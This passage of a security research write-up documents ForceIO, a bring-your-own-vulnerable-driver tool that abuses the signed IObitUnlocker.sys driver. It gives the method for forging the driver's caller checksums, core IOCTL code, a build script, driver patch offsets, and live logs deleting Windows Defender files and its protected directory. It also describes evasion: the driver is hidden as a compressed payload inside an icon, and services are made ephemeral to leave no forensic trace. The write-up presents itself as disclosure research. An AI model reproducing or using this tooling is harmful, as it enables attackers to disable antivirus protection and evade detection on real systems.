~150 KB
driver accepts] style B fill:#faa,stroke:#333,color:#000 style H fill:#6f6,stroke:#333,color:#000 

### 9.1 Mathematical model

For a file of N bytes `b[0], b[1], ..., b[N-1]`:

- `XOR = b[0] ⊕ b[1] ⊕ ... ⊕ b[N-1]`
- `ALT = b[0] - b[1] + b[2] - b[3] + ...` (even indices add, odd indices subtract)

Appending a pair `[a, b]` at positions `N` (even), `N+1` (odd):

- `XOR_new = XOR_old ⊕ a ⊕ b`
- `ALT_new = ALT_old + a - b`

### 9.2 Correction strategy

1. Compute current checksums of the compiled EXE.
2. Calculate the ALT difference: `Δ_ALT = TARGET_ALT - current_ALT`.
3. Append `⌊Δ_ALT / 255⌋` pairs of `[0xFF, 0x00]` — each adds 255 to ALT and XORs the accumulator by `0xFF`.
4. Find 4 final bytes `[b0, b1, b2, b3]` that satisfy the remaining ALT correction and XOR correction simultaneously.
5. Verify both checksums match the targets.

### 9.3 The 4-byte search

The final correction requires:

- `b0 ⊕ b1 ⊕ b2 ⊕ b3 = XOR_fix`
- `b0 - b1 + b2 - b3 = ALT_remainder`

This is a system of two equations in four unknowns with byte-range constraints (`0 ≤ bᵢ ≤ 255`). The search space is `256⁴` but can be decomposed into `256² × 256` with early pruning — typically runs in under a second.

### 9.4 Build script automation

The `build.ps1` script automates the entire process:

```powershell
# Compile through MSBuild
MSBuild.exe src\ForceIO.vcxproj /p:Configuration=Release;Platform=Win32

# Compute current checksums
$cs = Get-Checksums -Data $data
# Current:  XOR=0x77  ALT=0xFFFFA967
# Target:   XOR=0x2B  ALT=0x00A88677

# Calculate and append correction bytes
# Bulk pairs: 43398, remainder: 150
# Correction bytes: [32, 3, 124, 3]

# Verify
# Patched: 150800 bytes (appended 86800 bytes)
# ✓ XOR=0x2B  ALT=0x00A88677
```

The appended data is roughly 87 KB of `[0xFF, 0x00]` padding plus four correction bytes. This is PE overlay data; the Windows loader ignores it, but the driver checksum loop reads it from disk.

### 9.5 Why the padding is irreducible

The ~87 KB overhead is not an implementation shortcoming — it is the mathematical minimum. The compiled ForceIO binary produces an ALT checksum near `0xFFFFB400` (a large negative value in unsigned 32-bit space). The target is `0x00A88677`. The unsigned modular distance is approximately `0x00A8D277` ≈ 11,064,951. Each `[0xFF, 0x00]` pair contributes +255 to the ALT accumulator without disturbing the XOR constraint (since `0xFF ⊕ 0x00 = 0xFF`, and an even count of such pairs cancels out). This requires `⌈11,064,951 / 255⌉ ≈ 43,392` pairs = **86,784 bytes** of padding.

No alternative byte pattern can close the gap faster:

- A single even-position byte adds at most +255 to ALT.
- A single odd-position byte subtracts at most −255 (adding 255 when the gap is positive means using `0x00` at odd positions).
- The pair `[0xFF, 0x00]` is already the maximum-efficiency correction unit.

This was verified by exhaustive analysis: there is no 2-byte or 4-byte solution that satisfies both XOR and ALT constraints simultaneously for a gap of ~11 million. The bulk padding is the only path, and it runs in a single linear pass — no brute force, no iteration. Only the final 4-byte corrector requires a search (decomposed to `256² × 256` with pruning, completes in milliseconds).

The result is a PE overlay that is mathematically minimal, deterministic, and reproducible across builds. The Windows PE loader ignores overlay data entirely — it is never mapped into memory, never executed, and has no effect on runtime behaviour. The driver, however, reads the file from disk via `ZwReadFile` and checksums every byte including the overlay.

The obvious alternative — patching the driver to skip the checksum validation — would require modifying only 4 bytes (two `jne` → `NOP NOP` at `+0x3DCC` and `+0x3DD6`). However, any modification to the `.sys` binary invalidates its Microsoft WHCP Authenticode signature, and the driver will refuse to load on any system with Driver Signature Enforcement enabled — which is the default on all supported Windows 10/11 configurations. The ~87 KB of padding is the price of preserving the original signature. See §12.3 for the full analysis of the driver-patching alternative.

---

## 10. Phase 8 — ForceIO: The Standalone Tool

sequenceDiagram participant U as ForceIO.exe participant S as SCM (services.exe) participant D as IObitUnlocker.sys participant FS as NTFS Note over U: Atomic Driver Session U->>U: FDI decompress CAB from icon resource U->>U: Write forceio.dat to %SystemRoot% U->>S: CreateServiceW("IObitUnlocker") S-->>U: service handle U->>S: StartServiceW S->>D: DriverEntry → IoCreateDevice D-->>S: STATUS_SUCCESS U->>D: CreateFileW("\\.\IObitUnlockerDevice") D-->>U: device handle U->>D: DeviceIoControl(0x222124, buffer) D->>D: Validate caller checksums D->>FS: ZwCreateFile(DELETE) + ZwSetInformationFile FS-->>D: STATUS_SUCCESS D-->>U: result = 0 U->>D: CloseHandle U->>S: ControlService(STOP) S->>D: DriverUnload U->>S: DeleteService U->>U: DeleteFileW(forceio.dat) Note over U: No registry residue, no driver on disk 

### 10.1 Design principles

- **No CRT.** Compiled with `/NODEFAULTLIB`, `/ENTRY:Entry`, `/GS-`. Only `kernel32.dll`, `advapi32.dll`, and `cabinet.dll` are imported.
- **No IObit code.** ForceIO does not load, reference, or depend on any IObit binary.
- **Direct IOCTL.** Constructs the 0x428-byte buffer in-process and calls `DeviceIoControl` directly.
- **LZX-compressed payload.** The driver binary is LZX-compressed into a CAB archive and appended to the application icon at build time. At runtime, FDI decompresses the CAB in memory and writes `forceio.dat` to `%SystemRoot%`. The icon remains valid for Explorer — the appended CAB data is invisible to the icon parser.
- **Atomic driver sessions.** Each file operation runs a complete SCM lifecycle: create service → start → open device → execute → close device → stop service → delete service → remove driver file. The service exists in the registry only for the duration of the IOCTL — never between operations. Zero `Sleep` calls — `ControlService(STOP)` on kernel drivers is synchronous.
- **No registry residue.** The SCM service name `IObitUnlocker` and `ImagePath = forceio.dat` are created and destroyed within a single atomic session. Post-operation, `sc query IObitUnlocker` returns `ERROR_SERVICE_DOES_NOT_EXIST` and `%SystemRoot%\forceio.dat` does not exist on disk.

### 10.2 Why x86 (PE32)?

The driver is x64 (PE64). ForceIO is compiled as x86 (PE32). This works because:

1. **`METHOD_BUFFERED` is bitness-transparent.** The I/O Manager allocates the system buffer in kernel space, copies the user buffer byte-for-byte, and passes it to the driver. No pointer reinterpretation occurs.
2. **`ULK_BUFFER` contains no pointers.** All fields are `WCHAR` arrays and `ULONG` values — fixed-size, architecture-independent. There is no alignment or padding difference between 32-bit and 64-bit representations.
3. **The driver's checksum validation is bitness-agnostic.** `ZwQueryInformationProcess(ProcessImageFileName)` returns the real image path regardless of WOW64 — the driver reads and checksums the actual PE32 file on disk.

The x86 choice provides smaller binary size, no 64-bit CRT dependency to avoid, and confirms that the entire protocol is bitness-independent.

### 10.3 Core implementation

The heart of ForceIO is a single function:

```c
static DWORD SendOperation(HANDLE hDev, const wchar_t* src,
                           const wchar_t* dst, ULONG op) {
    ULK_BUFFER buf;
    memset(&buf, 0, sizeof(buf));

    wcopy_safe(buf.SourcePath, src, 264);

    if (dst && dst[0])
        wcopy_safe(buf.DestPath, dst, 264);

    buf.OpType = op;
    buf.Flags  = 3;              // match original DLL behaviour

    ULONG out = 0;
    DWORD ret = 0;
    SetLastError(0);
    DeviceIoControl(hDev, 0x222124, &buf, 0x428, &out, 4, &ret, NULL);
    return GetLastError();
}
```

The high-level `rename` command intentionally uses three attempts:

1. `OperationType=2` raw rename.
2. `MoveFileExW(..., MOVEFILE_COPY_ALLOWED | MOVEFILE_WRITE_THROUGH)` for ordinary filesystem cases.
3. `OperationType=3` driver-side move/cut for locked or minifilter-protected targets.

The `copy` command uses `OperationType=4`, not `3`, so the source remains in place.

### 10.4 Usage

```
ForceIO — minifilter-bypass file operations via signed driver
© WESMAR Marek Wesołowski

Usage: ForceIO <command> <path> [dest]

Commands:
  delete <path>       Force-delete file (bypasses WdFilter)
  rename <src> <dst>  Force-rename/move file
  copy   <src> <dst>  Copy locked file
  start               Load driver only
  stop                Unload driver
  cleanup             Stop driver, remove service, delete temp files
```

### 10.5 Live operation — WdFilter bypass

```
PS> Remove-Item "C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64" -Force
Remove-Item: Access to the path is denied.

PS> .\ForceIO.exe delete "C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64"
[*] DELETE: C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64
[+] Success.

PS> Test-Path "C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64"
False
```

`Remove-Item` with `-Force` fails with **Access denied** — WdFilter blocks the I/O request.
ForceIO deletes the file successfully — the IOCTL routes below the Filter Manager.

### 10.6 Directory move — protected Defender tree

After correcting `OperationType=3`, a protected Defender directory can be moved and then deleted:

```cmd
C:\Projekty\ForceIO\bin>ForceIO.exe rename "c:\ProgramData\Microsoft\Windows Defender\" "c:\ProgramData\Microsoft\Windows Defender_\"
[*] RENAME: c:\ProgramData\Microsoft\Windows Defender -> c:\ProgramData\Microsoft\Windows Defender_
[+] Success.

C:\Projekty\ForceIO\bin>ForceIO.exe delete "c:\ProgramData\Microsoft\Windows Defender_"
[*] DELETE: c:\ProgramData\Microsoft\Windows Defender_
[+] Success.
```

This was the practical confirmation that the driver-side move/cut path matters. The earlier fallback (`copy` then `delete`) failed on this class of target with `ERROR_DIR_NOT_EMPTY` (`145`).

---

## 11. Driver Internal Architecture

### 11.1 Device and symbolic link

| Element | Value |
|---|---|
| Device Object | `\Device\IObitUnlockerDevice` |
| Symbolic Link | `\DosDevices\IObitUnlockerDevice` |
| Win32 path | `\\.\IObitUnlockerDevice` |
| Device type | `0x0001` (non-standard — not `FILE_DEVICE_UNKNOWN` = `0x22`) |

### 11.2 DriverEntry flow (+0x10D4)

1. Call `+0xA008` (runtime init — likely GSCookie or CRT fragment).
2. `IoCreateDevice` with device name `\Device\IObitUnlockerDevice`, type `0x0001`.
3. `IoCreateSymbolicLink` from `\DosDevices\IObitUnlockerDevice` to the device.
4. Set `DriverObject->Flags |= DO_DIRECT_IO` (bit 4 at `+0x30`).
5. Clear `DO_EXCLUSIVE` flag (bit 7 at `+0x30`).
6. Set dispatch table: `IRP_MJ_CREATE` = `IRP_MJ_CLOSE` = `+0x128C`, `IRP_MJ_DEVICE_CONTROL` = `+0x12B4`.
7. Initialize log file UNICODE\_STRING (`\Device\HarddiskVolume1\unlocker.log`).
8. Resolve `ZwQueryInformationProcess` via `MmGetSystemRoutineAddress` → store at `+0x8150`.
9. Store two hardcoded constants at `+0x8160` and `+0x8158` (purpose unknown — possibly version markers).
10. Call `+0x3FA8` (logging initialization).

### 11.3 Win32 path resolution

The driver resolves drive letters internally:

```asm
ZwOpenSymbolicLinkObject(&hLink, SYMBOLIC_LINK_QUERY,
    &oa{L"\\DosDevices\\C:"});
ZwQuerySymbolicLinkObject(hLink, &targetPath, NULL);
// targetPath = L"\\Device\\HarddiskVolume3"
```

This means the usermode caller can pass standard Win32 paths (e.g., `C:\Windows\file.txt`) — the driver converts them to NT paths before performing I/O.

### 11.4 Delete algorithm

```
1. (Optional) Kill/detach processes holding handles:
   ZwOpenProcess → ZwDuplicateObject(DUPLICATE_CLOSE_SOURCE)
   or ZwTerminateProcess if force-kill flag is set

2. Resolve Win32 → NT path:
   "C:\folder\file" → "\Device\HarddiskVolume3\folder\file"

3. Open with DELETE access:
   ZwCreateFile(DELETE | SYNCHRONIZE, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                FILE_OPEN, FILE_SHARE_DELETE | READ | WRITE,
                FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT)

4. If SHARING_VIOLATION → KeDelayExecutionThread + retry

5. Set disposition:
   ZwSetInformationFile(hFile, FileDispositionInformation, {DeleteFile = TRUE})

6. Close handle → file is deleted
```

### 11.5 Move and copy algorithms

The final operation map matters more than the names assigned during early reverse engineering:

| OperationType | ForceIO command | Driver behaviour |
|---|---|---|
| `1` | `delete` | Delete source path |
| `2` | first `rename` attempt | Raw `FILE_RENAME_INFORMATION` IRP; unreliable for ordinary destination paths |
| `3` | `rename` / `move` fallback | Copy data, then delete source |
| `4` | `copy` | Copy data, leave source intact |

For directories, the driver performs recursion internally with `ZwQueryDirectoryFile`. This is why `OperationType=3` succeeds where a user-mode `FindFirstFileW` + per-file copy/delete fallback can miss protected children and end with `ERROR_DIR_NOT_EMPTY`.

### 11.6 Protected process list

The driver refuses to terminate these processes (checked via `PsGetProcessPeb` + `_wcsicmp`):

```
System
System Idle Process
csrss.exe
lsass.exe
lsm.exe
smss.exe
wininit.exe
winlogon.exe
userinit.exe
explorer.exe
IObitUnlocker.exe
```

---

## 12. The Checksum Validation in Detail

### 12.1 Location

The validation spans three functions:

| Function | Offset | Role |
|---|---|---|
| `+0x3CB0` | Validation entry | IoGetCurrentProcess, build image name, call helpers |
| `+0x3A14` | Process query | ZwQueryInformationProcess(ProcessImageFileName=27) |
| `+0x3AF0` | File checksum | ZwCreateFile, ZwReadFile, compute XOR/ALT, compare |

### 12.2 Why this validation exists

IObit designed this check to prevent third-party tools from using their driver as a BYOVD weapon. The checksums match only the original `IObitUnlocker.exe` binary, so an attacker who downloads the driver cannot simply call its IOCTLs from arbitrary code.

The protection is naive — the checksums are trivially reversible, and the comparison values are hardcoded in the driver binary (not derived from a signature or certificate). But it is sufficient to block casual misuse and automated BYOVD (or BYOPD) frameworks that do not perform driver-specific analysis.

### 12.3 Alternative bypass: patching the driver

Instead of fixing the caller's checksums, one could NOP the two `jne` instructions at `+0x3DCC` and `+0x3DD6`:

```
+0x3DCC: 75 0E  →  90 90   (NOP the XOR check branch)
+0x3DD6: 75 04  →  90 90   (NOP the ALT check branch)
```

This 4-byte patch disables validation entirely. However, it invalidates the driver's Microsoft WHCP Authenticode signature, which means the driver will not load on systems with Driver Signature Enforcement enabled (the default). The checksum-padding approach preserves the driver signature.

---

## 13. Project Structure

```
C:\Projekty\ForceIO\
├── IcoBuilder\
│   ├── kvc.ico              Base application icon (9,662 bytes)
│   └── forceio.dat          Signed driver binary (IObitUnlocker.sys, untouched)
├── ICON\
│   └── kvc.ico              Combined icon + LZX-CAB payload (built by build.ps1)
├── src\
│   ├── main.c               Entry point, CLI parser, command dispatch
│   ├── DeviceIO.c/.h        IOCTL protocol and file operations
│   ├── DriverSession.c/.h   Atomic driver lifecycle (Begin/End sessions)
│   ├── DriverExtract.c/.h   FDI in-memory decompression from icon+CAB resource
│   ├── Console.c/.h         No-CRT console output
│   ├── GenIconSize.h        Auto-generated icon header size (build.ps1)
│   ├── Resource.h           Resource identifiers
│   ├── ForceIO.rc           Icon and embedded payload resource (dual reference)
│   ├── ForceIO.manifest     UAC elevation manifest
│   └── ForceIO.vcxproj      Visual Studio project, Win32 Release
├── build.ps1                LZX compress + icon assembly + MSBuild + checksum patch
└── bin\
    └── ForceIO.exe          Patched binary (checksums matched)
```

### 13.1 Building

```powershell
cd C:\Projekty\ForceIO
.\build.ps1
```

The script:

1. Resolves MSBuild from Visual Studio 2026.
2. LZX-compresses `IcoBuilder\forceio.dat` via `makecab` into a CAB archive.
3. Appends the CAB to `IcoBuilder\kvc.ico`, writes the combined blob to `ICON\kvc.ico`.
4. Generates `src\GenIconSize.h` with the icon header byte count (FDI seek offset).
5. Builds `src\ForceIO.vcxproj` as `Release|Win32`.
6. Verifies imports are limited to `KERNEL32.dll`, `ADVAPI32.dll`, and `CABINET.dll`.
7. Reads the compiled PE, computes current checksums.
8. Calculates and appends correction bytes.
9. Verifies the patched binary matches `XOR=0x2B, ALT=0x00A88677`.
10. Sets deterministic timestamps (2030-01-01).

### 13.2 Runtime requirements

- Windows 10 or 11 (x64)
- Administrator privileges (SCM service creation requires elevation)
- Driver binary embedded as LZX-compressed CAB inside the application icon resource
- Driver Signature Enforcement enabled (the driver is genuinely signed)
- `cabinet.dll` (present on all supported Windows versions)

---

## 14. Security Considerations

### 14.1 Detection surface

The driver creates a visible device object (`\Device\IObitUnlockerDevice`) during operation. The SCM service entry (`IObitUnlocker`) is **ephemeral** — it exists only for the duration of a single file operation and is deleted immediately after the IOCTL completes. The driver file (`%SystemRoot%\forceio.dat`) is likewise removed after each operation. The driver log at `%SystemRoot%\unlocker.log` records every operation with NTSTATUS codes and NT paths.

EDR solutions that monitor driver loads or device object creation can detect ForceIO's activity, but post-operation forensics will find no persistent service entry, no driver file on disk, and no registry artifact. The only durable trace is the driver log file (created by the driver itself, not by ForceIO).

### 14.2 Blocklist status

As of June 2026, `IObitUnlocker.sys` does **not** appear on the [Microsoft Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) or in the [LOLDrivers](https://www.loldrivers.io/) database. The driver loads and operates normally on systems with HVCI and Driver Signature Enforcement enabled. If Microsoft adds this driver to the blocklist in the future, ForceIO will cease to function on hardened systems without disabling that protection.

### 14.3 Driver distribution

ForceIO embeds `IObitUnlocker.sys` (renamed to `forceio.dat`) as an LZX-compressed CAB payload inside the application icon resource during the local build. For public distribution, the safer model is to publish source code and build tooling, and require the user to place a legally obtained copy of the driver in `IcoBuilder\forceio.dat`. The driver binary is not modified — preserving the WHCP signature is the point of the design.

### 14.4 Purpose

This research is published to:

1. Document the driver's undisclosed caller validation mechanism (§7, §12).
2. Demonstrate that checksum-based anti-abuse protection is insufficient against motivated analysis.
3. Provide a reference for researchers studying minifilter bypass techniques and overpowered signed driver abuse.
4. Encourage Microsoft to review WHCP-signed drivers with excessively broad kernel primitives — particularly drivers that expose file deletion, process termination, and handle manipulation through weakly guarded IOCTLs.

A stronger anti-abuse design for IObit would verify the caller via Authenticode signature validation or a kernel callback (`PsSetCreateProcessNotifyRoutine`) rather than trivially reversible checksums.

---

## 15. Appendix A — Complete IAT Reconstruction

The PE Import Directory is at RVA `0xA084`. Single import from `ntoskrnl.exe`. The Import Lookup Table starts at `0xA0B0` with 56 entries (null-terminated). Each entry's Hint/Name RVA was resolved via CDB:

```
cdb -z IObitUnlocker.sys -c "da IObitUnlocker+<rva+2>; q"
```

All 56 function names are listed in §4.1.

---

## 16. Appendix B — Checksum Computation Reference

```python
def compute_iobit_checksums(filepath):
    """
    Compute the two checksums that IObitUnlocker.sys uses for caller validation.
    The driver code is at IObitUnlocker.sys+0x3C33 (XOR) and +0x3C53 (ALT).
    """
    with open(filepath, 'rb') as f:
        data = f.read()

    xor_sum = 0
    alt_sum = 0
    for i, byte in enumerate(data):
        xor_sum ^= byte
        if i % 2 == 0:
            alt_sum += byte    # even-indexed bytes: add
        else:
            alt_sum -= byte    # odd-indexed bytes: subtract

    return xor_sum & 0xFF, alt_sum & 0xFFFFFFFF

# Expected values (from IObitUnlocker.sys+0x3DC7):
# XOR == 0x2B
# ALT == 0x00A88677
```

---

## 17. Appendix C — ForceIO Source Code

The complete source is split across six modules (see §13):

| Module | Responsibility |
|---|---|
| `main.c` | Entry point, CLI parser, command dispatch |
| `DriverSession.c/.h` | Atomic SCM lifecycle (Begin/End), manual start/stop/cleanup |
| `DriverExtract.c/.h` | FDI in-memory decompression from icon+CAB resource |
| `DeviceIO.c/.h` | IOCTL protocol, recursive delete/copy |
| `Console.c/.h` | No-CRT console output |
| `GenIconSize.h` | Auto-generated icon header byte count (CAB offset) |

Key design decisions:

1. **No CRT dependency.** `memset` and `memcpy` are provided as `#pragma function` overrides in `DeviceIO.c` and `DriverExtract.c` respectively. String operations use manual implementations (`wlen`, `wcopy_safe`, `weq`). Console output uses `WriteFile` with `WideCharToMultiByte(CP_UTF8)` for pipe/redirect compatibility.
2. **LZX-compressed payload.** The build pipeline compresses the driver with `makecab` (LZX, 21-bit window) and appends the CAB to the application icon. The combined blob is referenced in `ForceIO.rc` twice: as `ICON` (Explorer glyph) and as `RCDATA` (FDI source). At runtime, `DriverExtract_Deploy` locates the resource, skips `ICON_HEADER_SIZE` bytes, and feeds the trailing CAB to FDI via memory-only callbacks. The decompressed bytes are written to `%SystemRoot%\forceio.dat`. Compression ratio: ~50% (41 KB → 20 KB CAB).
3. **Atomic driver sessions.** `DriverSession_Begin` performs pre-cleanup (stop + delete any leftover service), FDI extraction, `CreateServiceW` with `ImagePath = forceio.dat` (OS resolves to `%SystemRoot%`), `StartServiceW`, and `DeviceIO_Open`. `DriverSession_End` closes the device handle, stops the service, deletes it from SCM, and removes the driver file. The entire lifecycle uses pure SCM API — zero `Sleep` calls. `ControlService(STOP)` on kernel drivers is synchronous.
4. **Single IOCTL round-trip per primitive.** One `CreateFileW` opens `\\.\IObitUnlockerDevice`, one `DeviceIoControl` performs the selected operation, then `CloseHandle`. For batch operations (recursive directory delete/copy), the device handle remains open across all IOCTLs within a single atomic session.

---

## 18. Appendix D — Timeline

| Date | Event |
|---|---|
| 2026-06-24 08:00 | Initial analysis document (`IObitUnlocker_RE_analiza.md`) prepared |
| 2026-06-24 09:30 | DLL disassembly completed, buffer layout corrected |
| 2026-06-24 10:00 | First Python IOCTL test → ERROR 87 |
| 2026-06-24 11:00 | NtDeviceIoControlFile confirms STATUS\_INVALID\_PARAMETER for all buffer variations |
| 2026-06-24 12:00 | CDB driver disassembly: validation function at +0x3CB0 identified |
| 2026-06-24 13:00 | PE Import Table fully reconstructed (56 functions) |
| 2026-06-24 14:00 | Validation function traced: IoGetCurrentProcess → ZwQueryInformationProcess → ZwCreateFile → ZwReadFile |
| 2026-06-24 14:30 | **Checksum comparison found at +0x3DC7: `0x2B` and `0x00A88677`** |
| 2026-06-24 15:00 | Compiled 32-bit ulk\_client.exe + checksum padding → first successful IOCTL |
| 2026-06-24 15:15 | `Unknown.Log` deleted (WdFilter bypass confirmed) |
| 2026-06-24 16:00 | ForceIO standalone tool compiled (/NODEFAULTLIB, no IObit dependency) |
| 2026-06-24 16:30 | `DefenderEcsCache.bin64` deleted (second WdFilter-protected target) |
| 2026-06-25 00:30 | `OperationType=3/4` corrected: `3` = move/cut, `4` = copy |
| 2026-06-25 00:45 | Protected `Windows Defender` directory moved and deleted through ForceIO |
| 2026-06-25 01:00 | Documentation (initial writeup) |
| 2026-06-25 08:00 | Driver binary renamed to `ForceIO.dat`, `ImagePath` simplified to bare filename |
| 2026-06-25 08:30 | FDI pipeline: driver LZX-compressed into CAB, appended to icon, decompressed at runtime via Cabinet API |
| 2026-06-25 09:00 | `DriverSession.c` replaces `DriverLoader.c` — atomic SCM lifecycle (create → start → use → stop → delete) |
| 2026-06-25 09:15 | All `Sleep` calls removed — pure synchronous API, kernel driver stop is synchronous |
| 2026-06-25 09:30 | 26-test integration suite: delete/rename/copy (single, directory, nested, stress ×10), atomic cleanup verified |

---

## 19. References

1. **MITRE ATT&CK** — T1068 (Exploitation for Privilege Escalation), T1543.003 (Create or Modify System Process: Windows Service)
2. **Microsoft WHCP** — Windows Hardware Compatibility Program driver signing
3. **WdFilter.sys** — Windows Defender minifilter driver (altitude ~328000)
4. **Filter Manager** — `FltMgr.sys`, Microsoft filesystem filter architecture
5. **IObit Unlocker** — <https://www.iobit.com/en/iobit-unlocker.php> (freeware)
6. **MyDigitalLife Forums** — CMDT thread: <https://forums.mydigitallife.net/threads/90096/page-4>
7. **KVC** — <https://github.com/wesmar/kvc> (some of my original manipulation techniques)

---

*© 2026 WESMAR Marek Wesołowski. All rights reserved.*
*Published for educational and authorized security research purposes.*

### Add a comment

---

## Navigation

- Parent: [Research](https://kvc.pl/research.md)
- Previous: [Analyze Defender — Reverse Engineering Windows Defender RTP State](https://kvc.pl/research/analyze-defender.md)
- Next: [skci.dll Internals — Reverse Engineering the Secure Kernel Code Integrity Module on Windows 11 26H1](https://kvc.pl/research/skci-code-integrity.md)
